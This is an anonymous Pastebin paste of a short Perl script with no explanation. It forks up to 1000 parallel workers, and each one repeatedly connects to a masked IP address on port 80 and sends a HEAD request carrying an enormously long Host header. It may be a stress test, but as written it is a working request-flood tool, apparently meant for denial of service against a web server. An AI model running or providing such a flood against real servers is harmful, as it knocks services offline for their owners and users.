Guest User

Untitled

a guest
Feb 19th, 2018
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.10 KB | None | 0 0
  1. use strict;
  2. use warnings;
  3. use Parallel::Prefork;
  4. use IO::Socket::INET;
  5.  
  6. my $pm = Parallel::Prefork->new(
  7. {
  8. max_workers => 1000,
  9. fork_delay => 1,
  10. trap_signals => {
  11. TERM => 'TERM',
  12. HUP => 'TERM',
  13. USR1 => undef,
  14. }
  15. }
  16. );
  17.  
  18. while ($pm->signal_received ne 'TERM') {
  19. $pm->start and next;
  20.  
  21. warn "START";
  22. my $sock = IO::Socket::INET->new(
  23. PeerAddr => 'XXX.XXX.XXX.XXX',
  24. PeerPort => '80',
  25. ) or die;
  26.  
  27. print $sock <<'EOF';
  28. HEAD / HTTP/1.0
  29. Host: hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
  30. EOF
  31.  
  32. warn <$sock>;
  33.  
  34. warn "FINISHED";
  35.  
  36. $pm->finish;
  37. }
  38.  
  39. $pm->wait_all_children();
Add Comment
Please, Sign In to add comment